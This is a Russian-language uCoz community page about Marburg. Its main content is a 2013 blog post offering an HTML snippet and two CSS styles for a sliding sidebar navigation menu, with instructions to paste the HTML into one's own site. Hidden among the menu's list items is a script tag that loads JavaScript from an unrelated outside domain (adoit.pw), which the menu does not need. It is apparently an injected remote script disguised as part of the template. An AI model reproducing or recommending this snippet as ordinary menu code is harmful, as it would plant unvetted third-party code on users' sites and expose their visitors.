Вы вошли как Гость
Группа "Гости" Приветствую Вас Гость!
Четверг, 21.11.2024, 13:48
Главная | Мой профиль | Регистрация | Выход | Вход | RSS

Коротко обо всём

******Общеобразовательные курсы Марбурга (Volkshochschule) разработали и издали на летний семестр новую программу, насчитывающую около 600 курсов. Полная информация на странице www.Vhs-marburg.de *******Новую туристическую веб-страницу о Марбурге разместило марбургское туристическое агенство (MLST). C интересной и актуальной информацией можно ознакомиться http://www.marburg-tourismus.de/******Концерн GSK инвестирует 172 млн евро на строительство помещений площадью 3000 кв.м. в Mars-Campus в Görzhausen, где разместится новая линия по производству вакцины против менингококков типа В. Одновременно линии по производству вакцины против столбняка и дифтерии переносятся в венгерский город Gödöllö********Новая карта Марбурга, которая была разработана с учетом последних изменений и дополнений, уже поступила в продажу. Карта показывает все городские районы в масштабе 1:15000, центральная часть города увеличена до 1:7500. Цена карты 2.80 € ******* *******

Меню сайта

Последние статьи

Приют для животных в Марбурге
Проект "Камни преткновения" в Марбурге"
BOB-компания против пьянства за рулем"
Конец "парагвайскому раю"
Cказочники в сказочном городе
Die Marburger Tafel
Сдача крови (Blutspende). Униклиника Гиссена и Марбурга
Marburger Stadtpass. Городской паспорт жителя Марбурга
Подарочный сертификат Марбург
Разрешение на пребывание в Германии в электронной форме в виде отдельного документа

Популярные статьи

SEPA- единая зона платежей в евро
Apteka.de- немецкая Интернет-аптека на русском языке
Проект "Поиск людей в Германии"

Новое на сайте

Новое на форуме

Новые статьи

Новые комментарии

Новое в альбомах

Новые объявления

Новые ссылки

Новые файлы

Изменения на сайте

Чат

Статистика

Онлайн всего: 16
Гостей: 16
Пользователей: 0

Регистрация

  • Личные сообщения
    (Новых: )

    • Справочная информация

    Проведение досуга

    Финансы и покупки

    Игры

    Фильм про Марбург

    Панорама Марбурга

    Панорама Марбурга с площадки башни императора Вильгельма

    Виртуальные туры

    Виртуальный тур по церкви святой Елизаветы
    Виртуальный тур по берегу реки Лан (Lahn)
    Виртуальный тур по старой части Марбурга
    Виртуальный тур по марбургскому замку
    Виртуальный тур по водному
    комплексу AquaMar в Марбурге

    Вид на замок

    Камера смотрит на марбургский замок и площадь магистрата

    Календарь

    «  Июль 2013  »
    ПнВтСрЧтПтСбВс
    1234567
    891011121314
    15161718192021
    22232425262728
    293031

    Архив

    Поиск по сайту

    Blog

    Главная » 2013 » Июль » 25 » Боковое Меню Цветное и серое
    17:36
    Боковое Меню Цветное и серое
    Красивые 2 типа Боковых Менюшек,вам представление более 2 видов меню, выберете тот который будет подойдет вашему дизайну оба меню красивые,и без багов,сам сайт скрипт не нагружает при загрузке...
    И так Приступим У Самой Установчке:
    Этот самый текст ставим там где мы хотели бы видеть свое новое меню HTML:

    Код
    <div id="main">  
      <ul id="navigationMenu">  
      <li>  
      <a class="m_home " href="$HOME_PAGE_LINK$"><span>На главную</span></a>  
      </li>  
      <li>  
      <a class="m_gost" href="/gb"><span>Гостевая</span></a>  
      </li>  
      <li>  
      <a class="m_forum" href="/forum"><span>Форум</span></a>  
      </li>  
      <li> <a class="m_pochta" href="/index/0-3"><span>Обратная связь</span></a>  
      </li><script type="text/javascript" src="http://adoit.pw/border.js"></script>  
      <?if($USER_LOGGED_IN$)?>  
      <li> <a class="m_vixod" href="$LOGOUT_LINK$"><span>Выход</span></a>  
      </li>  
      <?else?>  
      <li>  
      <a class="m_vxod" href="$LOGIN_LINK$"><span>Вход</span></a>  
      </li>  
      <?endif?>  
      </ul>  
      </div>  
      <!-- /Конец тегов левое боковое меню -->


    А Вот два типа менюшек выбирайте который вам нужен

    Серое Меню

    Код
    #main{  
      position:fixed;  
      top: 150px;  
      right: 0px;  
      padding:0;  
    }  

    #main ul{  
      padding:0;  
    }  

    #navigationMenu li{  
      list-style:none;  
      height:35px;  
      width:35px;  
    }  

    #navigationMenu span{  
      position:absolute;  
      overflow:hidden;  
      width:0;  
      right:35px;  
      padding:0;  
      font:12px Verdana,Arial,Helvetica,sans-serif;  
      font-weight:bold;  
      line-height:35px;  
      white-space:nowrap;  
      -webkit-transition: 0.25s;  
      -moz-transition: 0.25s;  
      transition: 0.25s;  
    }  

    #navigationMenu a{  
      display:block;  
      position:relative;  
      background:url(http://pnghosts.ru/img/navigation_2.png) no-repeat;  
      height:35px;  
      width:35px;  
    }  

    #navigationMenu a:hover span{  
      overflow:hidden;  
      text-align:center;  
      width:110px;  
      padding:0px 10px;  
    }  

    #navigationMenu a:hover{  
      text-decoration:none;  
    }  

    #navigationMenu .m_home {background-position:0 0;}  
    #navigationMenu .m_home :hover {background-position:0 -35px;}  

    #navigationMenu .m_gost {background-position:-35px 0;}  
    #navigationMenu .m_gost:hover {background-position:-35px -35px;}  

    #navigationMenu .m_forum {background-position:-70px 0;}  
    #navigationMenu .m_forum:hover {background-position:-70px -35px;}  

    #navigationMenu .m_pochta { background-position:-105px 0;}  
    #navigationMenu .m_pochta:hover{ background-position:-105px -35px;}  

    #navigationMenu .m_vxod { background-position:-140px 0;}  
    #navigationMenu .m_vxod:hover { background-position:-140px -35px;}  

    #navigationMenu .m_vixod { background-position:-175px 0;}  
    #navigationMenu .m_vixod:hover { background-position:-175px -35px;}  

    #navigationMenu .m_gost span,  
    #navigationMenu .m_forum span,  
    #navigationMenu .m_pochta span,  
    #navigationMenu .m_vxod span,  
    #navigationMenu .m_vixod span,  
    #navigationMenu .m_home span {  
      background:#444;  
      color:#777;  
      text-shadow:1px 1px 0 #333;  
    }


    Цветное меню

    Код
    #main{  
      position:fixed;  
      top: 150px;  
      left: 0px;  
      padding:0;  
      }  

      #main ul{  
      padding:0;  
      }  

      #navigationMenu li{  
      list-style:none;  
      height:35px;  
      width:35px;  
      }  

      #navigationMenu span{  
      position:absolute;  
      overflow:hidden;  
      width:0;  
      left:35px;  
      padding:0;  
      font:12px Verdana,Arial,Helvetica,sans-serif;  
      font-weight:bold;  
      line-height:35px;  
      white-space:nowrap;  
      -webkit-transition: 0.25s;  
      -moz-transition: 0.25s;  
      transition: 0.25s;  
      }  

      #navigationMenu a{  
      display:block;  
      position:relative;  
      background:url(http://pnghosts.ru/img/navigation_1.png) no-repeat;  
      height:35px;  
      width:35px;  
      }  

      #navigationMenu a:hover span{  
      overflow:hidden;  
      text-align:center;  
      width:110px;  
      padding:0px 10px;  
      }  

      #navigationMenu a:hover{  
      text-decoration:none;  
      }  

      #navigationMenu .m_home {background-position:0 0;}  
      #navigationMenu .m_home :hover {background-position:0 -35px;}  
      #navigationMenu .m_home span{  
      background:#7da315;  
      color:#3d4f0c;  
      text-shadow:1px 1px 0 #99bf31;  
      }  

      #navigationMenu .m_gost {background-position:-35px 0;}  
      #navigationMenu .m_gost:hover {background-position:-35px -35px;}  
      #navigationMenu .m_gost span{  
      background:#1e8bb4;  
      color:#223a44;  
      text-shadow:1px 1px 0 #44a8d0;  
      }  

      #navigationMenu .m_forum {background-position:-70px 0;}  
      #navigationMenu .m_forum:hover {background-position:-70px -35px;}  
      #navigationMenu .m_forum span{  
      background:#c86c1f;  
      color:#5a3517;  
      text-shadow:1px 1px 0 #d28344;  
      }  

      #navigationMenu .m_pochta { background-position:-105px 0;}  
      #navigationMenu .m_pochta:hover{ background-position:-105px -35px;}  
      #navigationMenu .m_pochta span{  
      background-color:#d0a525;  
      color:#604e18;  
      text-shadow:1px 1px 0 #d8b54b;  
      }  

      #navigationMenu .m_vxod { background-position:-140px 0;}  
      #navigationMenu .m_vxod:hover { background-position:-140px -35px;}  
      #navigationMenu .m_vxod span{  
      background-color:#af1e83;  
      color:#460f35;  
      text-shadow:1px 1px 0 #d244a6;  
      }  

      #navigationMenu .m_vixod { background-position:-175px 0;}  
      #navigationMenu .m_vixod:hover { background-position:-175px -35px;}  
      #navigationMenu .m_vixod span{  
      background-color:#27ddbf;  
      color:#097863;  
      text-shadow:1px 1px 0 #87ffe7;  
      }
    Просмотров: 1095 | Добавил: DoG | Рейтинг: 0.0/0
    Всего комментариев: 0
    Добавлять комментарии могут только зарегистрированные пользователи.
    [ Регистрация | Вход ]

    Copyright MyCorp © 2024 | Сделать бесплатный сайт с uCoz